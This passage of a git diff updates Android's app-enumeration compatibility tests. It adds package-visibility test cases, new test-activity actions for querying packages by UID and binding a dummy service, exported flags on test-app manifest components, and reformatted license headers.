+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
index 48d2e2b..9dd3920 100644
--- a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
@@ -17,6 +17,7 @@
 package android.appenumeration.cts.query;
 
 import static android.appenumeration.cts.Constants.ACTION_GET_INSTALLED_PACKAGES;
+import static android.appenumeration.cts.Constants.ACTION_GET_PACKAGES_FOR_UID;
 import static android.appenumeration.cts.Constants.ACTION_GET_PACKAGE_INFO;
 import static android.appenumeration.cts.Constants.ACTION_JUST_FINISH;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_ACTIVITIES;
@@ -42,6 +43,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.IntentSender;
+import android.content.ServiceConnection;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
@@ -49,6 +51,7 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.IBinder;
 import android.os.PatternMatcher;
 import android.os.RemoteCallback;
 import android.util.SparseArray;
@@ -57,6 +60,8 @@
 
 public class TestActivity extends Activity {
 
+    private final static long TIMEOUT_MS = 3000;
+
     SparseArray<RemoteCallback> callbacks = new SparseArray<>();
 
     private Handler mainHandler;
@@ -87,6 +92,9 @@
             if (ACTION_GET_PACKAGE_INFO.equals(action)) {
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 sendPackageInfo(remoteCallback, packageName);
+            } else if (ACTION_GET_PACKAGES_FOR_UID.equals(action)) {
+                final int uid = intent.getIntExtra(Intent.EXTRA_UID, -1);
+                sendPackagesForUid(remoteCallback, uid);
             } else if (ACTION_START_FOR_RESULT.equals(action)) {
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 int requestCode = RESULT_FIRST_USER + callbacks.size();
@@ -137,14 +145,17 @@
             } else if (Constants.ACTION_AWAIT_PACKAGE_REMOVED.equals(action)) {
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 awaitPackageBroadcast(
-                        remoteCallback, packageName, Intent.ACTION_PACKAGE_REMOVED, 3000);
+                        remoteCallback, packageName, Intent.ACTION_PACKAGE_REMOVED, TIMEOUT_MS);
             } else if (Constants.ACTION_AWAIT_PACKAGE_ADDED.equals(action)) {
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 awaitPackageBroadcast(
-                        remoteCallback, packageName, Intent.ACTION_PACKAGE_ADDED, 3000);
+                        remoteCallback, packageName, Intent.ACTION_PACKAGE_ADDED, TIMEOUT_MS);
             } else if (Constants.ACTION_QUERY_RESOLVER.equals(action)) {
                 final String authority = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 queryResolverForVisiblePackages(remoteCallback, authority);
+            } else if (Constants.ACTION_BIND_SERVICE.equals(action)) {
+                final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+                bindService(remoteCallback, packageName);
             } else {
                 sendError(remoteCallback, new Exception("unknown action " + action));
             }
@@ -269,6 +280,14 @@
         finish();
     }
 
+    private void sendPackagesForUid(RemoteCallback remoteCallback, int uid) {
+        final String[] packages = getPackageManager().getPackagesForUid(uid);
+        final Bundle result = new Bundle();
+        result.putStringArray(EXTRA_RETURN_RESULT, packages);
+        remoteCallback.sendResult(result);
+        finish();
+    }
+
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         super.onActivityResult(requestCode, resultCode, data);
@@ -283,4 +302,47 @@
         remoteCallback.sendResult(result);
         finish();
     }
+
+    private void bindService(RemoteCallback remoteCallback, String packageName) {
+        final String SERVICE_NAME = "android.appenumeration.testapp.DummyService";
+        final Intent intent = new Intent();
+        intent.setClassName(packageName, SERVICE_NAME);
+        final ServiceConnection serviceConnection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName className, IBinder service) {
+                // No-op
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName className) {
+                // No-op
+            }
+
+            @Override
+            public void onBindingDied(ComponentName name) {
+                // Remote service die
+                finish();
+            }
+
+            @Override
+            public void onNullBinding(ComponentName name) {
+                // Since the DummyService doesn't implement onBind, it returns null and
+                // onNullBinding would be called. Use postDelayed to keep this service
+                // connection alive for 3 seconds.
+                mainHandler.postDelayed(() -> {
+                    unbindService(this);
+                    finish();
+                }, TIMEOUT_MS);
+            }
+        };
+
+        final boolean bound = bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
+        final Bundle result = new Bundle();
+        result.putBoolean(EXTRA_RETURN_RESULT, bound);
+        remoteCallback.sendResult(result);
+        // Don't invoke finish() right here if service is bound successfully to keep the service
+        // connection alive since the ServiceRecord would be remove from the ServiceMap once no
+        // client is binding the service.
+        if (!bound) finish();
+    }
 }
\ No newline at end of file
diff --git a/tests/tests/appenumeration/app/target/Android.bp b/tests/tests/appenumeration/app/target/Android.bp
index 55f08c4..cd1eb18 100644
--- a/tests/tests/appenumeration/app/target/Android.bp
+++ b/tests/tests/appenumeration/app/target/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppEnumerationForceQueryable",
     manifest: "AndroidManifest-forceQueryable.xml",
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-browserActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-browserActivity.xml
index 696ef30..f4aecba 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-browserActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-browserActivity.xml
@@ -19,7 +19,8 @@
     package="android.appenumeration.browser.activity">
     <application>
         <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.WebBrowser">
+        <activity android:name="android.appenumeration.WebBrowser"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
                 <category android:name="android.intent.category.DEFAULT" />
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-browserWildcardActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-browserWildcardActivity.xml
index 60ced57..97b0d9b 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-browserWildcardActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-browserWildcardActivity.xml
@@ -19,7 +19,8 @@
     package="android.appenumeration.browser.wildcard.activity">
     <application>
         <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.WebBrowser">
+        <activity android:name="android.appenumeration.WebBrowser"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
                 <category android:name="android.intent.category.DEFAULT" />
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-contactsActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-contactsActivity.xml
index e31d018..0bff9cc 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-contactsActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-contactsActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-documentEditorActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-documentEditorActivity.xml
index 445f90b..6795cf7 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-documentEditorActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-documentEditorActivity.xml
@@ -1,25 +1,26 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.editor.activity">
+     package="android.appenumeration.editor.activity">
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.EditorActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.appenumeration.EditorActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <action android:name="android.intent.action.EDIT"/>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml b/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
index 90b7c6d..59ec446 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
@@ -1,74 +1,77 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.filters">
+     package="android.appenumeration.filters">
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.appenumeration.testapp.DummyActivity"
-                  android:visibleToInstantApps="true">
+             android:visibleToInstantApps="true"
+             android:exported="true">
             <!-- Marked visible to instant apps to ensure this logic doesn't conflict with non
-                 instant filtering -->
+                                 instant filtering -->
             <intent-filter>
-                <action android:name="android.appenumeration.action.ACTIVITY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.appenumeration.action.ACTIVITY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <service android:name="android.appenumeration.testapp.DummyService">
+        <service android:name="android.appenumeration.testapp.DummyService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appenumeration.action.SERVICE" />
+                <action android:name="android.appenumeration.action.SERVICE"/>
             </intent-filter>
         </service>
         <provider android:name="android.appenumeration.testapp.DummyProvider"
-                  android:authorities="android.appenumeration.testapp"
-                  android:exported="true">
+             android:authorities="android.appenumeration.testapp"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appenumeration.action.PROVIDER" />
+                <action android:name="android.appenumeration.action.PROVIDER"/>
             </intent-filter>
         </provider>
-        <receiver android:name="android.appenumeration.testapp.DummyReceiver">
+        <receiver android:name="android.appenumeration.testapp.DummyReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appenumeration.action.BROADCAST" />
+                <action android:name="android.appenumeration.action.BROADCAST"/>
             </intent-filter>
         </receiver>
 
         <activity android:name="android.appenumeration.testapp.DummyActivityNotExported"
-                  android:exported="false">
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.appenumeration.action.ACTIVITY_UNEXPORTED" />
+                <action android:name="android.appenumeration.action.ACTIVITY_UNEXPORTED"/>
             </intent-filter>
         </activity>
         <service android:name="android.appenumeration.testapp.DummyServiceNotExported"
-                 android:exported="false">
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.appenumeration.action.SERVICE_UNEXPORTED" />
+                <action android:name="android.appenumeration.action.SERVICE_UNEXPORTED"/>
             </intent-filter>
         </service>
         <provider android:name="android.appenumeration.testapp.DummyProviderNotExported"
-                  android:authorities="android.appenumeration.testapp.unexported"
-                  android:exported="false" >
+             android:authorities="android.appenumeration.testapp.unexported"
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.appenumeration.action.PROVIDER_UNEXPORTED" />
+                <action android:name="android.appenumeration.action.PROVIDER_UNEXPORTED"/>
             </intent-filter>
         </provider>
         <receiver android:name="android.appenumeration.testapp.DummyReceiverNotExported"
-                  android:exported="false">
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.appenumeration.action.BROADCAST_UNEXPORTED" />
+                <action android:name="android.appenumeration.action.BROADCAST_UNEXPORTED"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
index 041d350..3778b04 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml b/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
index c3d8487..3b5be22 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml b/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
index 9b25acc..fc2835e 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-shareActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-shareActivity.xml
index 87f621a..148fa29 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-shareActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-shareActivity.xml
@@ -1,25 +1,26 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.share.activity">
+     package="android.appenumeration.share.activity">
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.ShareActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.appenumeration.ShareActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <category android:name="android.intent.category.DEFAULT"/>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-webActivity.xml b/tests/tests/appenumeration/app/target/AndroidManifest-webActivity.xml
index e198ea5..31fe275 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-webActivity.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-webActivity.xml
@@ -1,31 +1,34 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.web.activity">
+     package="android.appenumeration.web.activity">
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.WebActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.appenumeration.WebActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <data android:scheme="http" android:host="appenumeration.android"/>
-                <data android:scheme="https" android:host="appenumeration.android"/>
+                <data android:scheme="http"
+                     android:host="appenumeration.android"/>
+                <data android:scheme="https"
+                     android:host="appenumeration.android"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/appenumeration/lib/Android.bp b/tests/tests/appenumeration/lib/Android.bp
index 56873ca..ea3e19c 100644
--- a/tests/tests/appenumeration/lib/Android.bp
+++ b/tests/tests/appenumeration/lib/Android.bp
@@ -12,11 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsAppEnumerationTestLib",
     srcs: ["src/**/*.java"],
 }
+
+java_library_host {
+    name: "CtsAppEnumerationTestLibHost",
+    srcs: ["src/**/*.java"],
+}
\ No newline at end of file
diff --git a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
index d7c8dae..3b9616d 100644
--- a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
+++ b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
@@ -18,6 +18,7 @@
 
 public class Constants {
     public static final String PKG_BASE = "android.appenumeration.";
+    public static final String TEST_PKG = "android.appenumeration.cts";
 
     /** A package that queries for {@link #TARGET_NO_API} package */
     public static final String QUERIES_PACKAGE = PKG_BASE + "queries.pkg";
@@ -133,6 +134,8 @@
     public static final String ACTION_MANIFEST_PROVIDER = PKG_BASE + "action.PROVIDER";
     public static final String ACTION_SEND_RESULT = PKG_BASE + "cts.action.SEND_RESULT";
     public static final String ACTION_GET_PACKAGE_INFO = PKG_BASE + "cts.action.GET_PACKAGE_INFO";
+    public static final String ACTION_GET_PACKAGES_FOR_UID =
+            PKG_BASE + "cts.action.GET_PACKAGES_FOR_UID";
     public static final String ACTION_START_FOR_RESULT = PKG_BASE + "cts.action.START_FOR_RESULT";
     public static final String ACTION_START_DIRECTLY = PKG_BASE + "cts.action.START_DIRECTLY";
     public static final String ACTION_JUST_FINISH = PKG_BASE + "cts.action.JUST_FINISH";
@@ -153,6 +156,7 @@
             PKG_BASE + "cts.action.START_SENDER_FOR_RESULT";
     public static final String ACTION_QUERY_RESOLVER =
             PKG_BASE + "cts.action.QUERY_RESOLVER_FOR_VISIBILITY";
+    public static final String ACTION_BIND_SERVICE = PKG_BASE + "cts.action.BIND_SERVICE";
 
     public static final String EXTRA_REMOTE_CALLBACK = "remoteCallback";
     public static final String EXTRA_ERROR = "error";
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index da15191..e063c04 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -16,7 +16,9 @@
 
 package android.appenumeration.cts;
 
+import static android.appenumeration.cts.Constants.ACTION_BIND_SERVICE;
 import static android.appenumeration.cts.Constants.ACTION_GET_INSTALLED_PACKAGES;
+import static android.appenumeration.cts.Constants.ACTION_GET_PACKAGES_FOR_UID;
 import static android.appenumeration.cts.Constants.ACTION_GET_PACKAGE_INFO;
 import static android.appenumeration.cts.Constants.ACTION_JUST_FINISH;
 import static android.appenumeration.cts.Constants.ACTION_MANIFEST_ACTIVITY;
@@ -72,6 +74,7 @@
 import static android.appenumeration.cts.Constants.TARGET_SHARED_USER;
 import static android.appenumeration.cts.Constants.TARGET_WEB;
 import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+import static android.os.Process.INVALID_UID;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
@@ -80,6 +83,7 @@
 import static org.hamcrest.core.Is.is;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.PendingIntent;
@@ -117,6 +121,7 @@
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicReference;
+import java.util.stream.Stream;
 
 @RunWith(AndroidJUnit4.class)
 public class AppEnumerationTests {
@@ -178,6 +183,15 @@
     }
 
     @Test
+    public void all_cannotSeeForceQueryableInstalledNormally() throws Exception {
+        assertNotVisible(QUERIES_NOTHING, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_ACTIVITY_ACTION, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_SERVICE_ACTION, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_PROVIDER_AUTH, TARGET_FORCEQUERYABLE_NORMAL);
+        assertNotVisible(QUERIES_PACKAGE, TARGET_FORCEQUERYABLE_NORMAL);
+    }
+
+    @Test
     public void startExplicitly_canStartNonVisible() throws Exception {
         assertNotVisible(QUERIES_NOTHING, TARGET_FILTERS);
         startExplicitIntentViaComponent(QUERIES_NOTHING, TARGET_FILTERS);
@@ -392,6 +406,15 @@
         assertVisible(QUERIES_NOTHING, QUERIES_NOTHING_Q);
     }
 
+    @Test
+    public void queriesNothing_cannotSeeSharedUserMembers() throws Exception {
+        assertNotVisible(QUERIES_NOTHING, TARGET_SHARED_USER);
+    }
+
+    @Test
+    public void queriesNothingHasPermission_canSeeSharedUserMembers() throws Exception {
+        assertVisible(QUERIES_NOTHING_PERM, TARGET_SHARED_USER);
+    }
 
     @Test
     public void sharedUserMember_canSeeOtherMember() throws Exception {
@@ -443,13 +466,18 @@
     private void assertVisible(String sourcePackageName, String targetPackageName)
             throws Exception {
         if (!sGlobalFeatureEnabled) return;
+        final int targetUid = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager().getPackageUid(targetPackageName, /* flags */ 0);
+        Assert.assertTrue(isAppInPackageNamesArray(targetPackageName,
+                getPackagesForUid(sourcePackageName, targetUid)));
         Assert.assertNotNull(sourcePackageName + " should be able to see " + targetPackageName,
                 getPackageInfo(sourcePackageName, targetPackageName));
     }
 
     @Test
     public void broadcastAdded_notVisibleDoesNotReceive() throws Exception {
-        final Result result = sendCommand(QUERIES_NOTHING, TARGET_FILTERS, null,
+        final Result result = sendCommand(QUERIES_NOTHING, TARGET_FILTERS,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
                 Constants.ACTION_AWAIT_PACKAGE_ADDED);
         runShellCommand("pm install " + TARGET_FILTERS_APK);
         try {
